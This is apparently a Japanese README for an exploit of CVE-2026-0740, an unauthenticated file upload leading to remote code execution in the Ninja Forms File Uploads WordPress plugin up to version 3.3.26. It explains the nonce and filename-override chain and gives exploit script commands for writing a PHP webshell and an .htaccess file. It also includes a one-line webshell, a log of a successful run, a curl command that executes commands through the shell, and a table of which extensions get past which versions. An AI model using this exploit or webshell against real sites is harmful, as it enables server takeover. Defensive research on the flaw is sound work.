
Ninja Forms File Uploads <= 3.3.26 - 認証不要の任意ファイルアップロードによるRCE(CVE-2026-0740)
CVE-2026-0740 のエクスプロイトです。発見者: Selim Lanouar (whattheslime)。
技術的な詳細については、Lexfoのブログの完全な記事 をお読みください。
このリポジトリは研究および防御的セキュリティ目的のみで提供されます。
著者は、この情報の悪用について一切の責任を負いません。
WordPress用のNinja Forms - File Uploadsプラグインは、3.3.26以前のすべてのバージョンにおいて、リモートコード実行 (RCE) につながる未認証の任意ファイルアップロードに対して脆弱です。
この脆弱性は当初、バージョン 3.3.23 で発見・報告されました。3.3.24 までは容易に悪用可能です(宛先ファイル名の検証がないため)。バージョン 3.3.25 および 3.3.26 では段階的な部分修正が導入されましたが、完全に修正されたのはバージョン 3.3.27 のみです。
脆弱性の連鎖は以下のとおりです:
field_id を指定して nf_fu_get_new_nonce AJAX アクションを介して有効なアップロード nonce を取得します。nf_fu_upload ハンドラーは、アップロードされたファイルの拡張子(例: image.jpg)を検証しますが、クライアントが POST パラメータ(image_jpg)を介して宛先ファイル名を上書きすることを許可します。move_uploaded_file() へ渡されるため、任意の拡張子とパストラバーサル(../)が可能になります。完全な拡張子テーブルと技術的な詳細については、完全なブログ記事 を参照してください。
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python3 CVE-2026-0740.py -h
python3 CVE-2026-0740.py -t http://localhost:8000 -f test.txt
ファイルは wp-content/uploads/ninja-forms/tmp/test.txt に書き込まれます。
python3 CVE-2026-0740.py -t http://localhost:8000 -f webshell.php -d ../../../webshell.php
ファイルは wp-content/webshell.php に書き込まれます。
python3 CVE-2026-0740.py -t http://localhost:8000 -f evil-htaccess -d .htaccess
# 1. Detect version
httpx -fr -u http://localhost:8000 -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+' 2>/dev/null
http://localhost:8000 [nfpluginsettings.js?ver=3.3.24]
# 2. Write webshell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/slime.php
# 3. Upload
python3 CVE-2026-0740.py -t http://localhost:8000 -f /tmp/slime.php -d ../ws.php
[2026-04-07] [20:20:11] [info] [http://localhost:8000] Fetch nonce for random field_id: 3711569793384815...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] Got ninja-forms-upload nonce: a320b7ed4a
[2026-04-07] [20:20:12] [info] [http://localhost:8000] Uploading slime.php as ../ws.php via POST parameter...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] File uploaded at: http://localhost:8000/wp-content/uploads/ninja-forms/ws.php
# 4. Execute commands
curl http://localhost:8000/wp-content/uploads/ninja-forms/ws.php\?cmd\=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| ベクター / 拡張子 | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|
パストラバーサル (../) | PASS | - | - | - |
.php | PASS | - | - | - |
.phtml, .phar | PASS | PASS | - | - |
.pht | PASS | PASS | PASS | - |
.html, .svg, .js | PASS | PASS | PASS | - |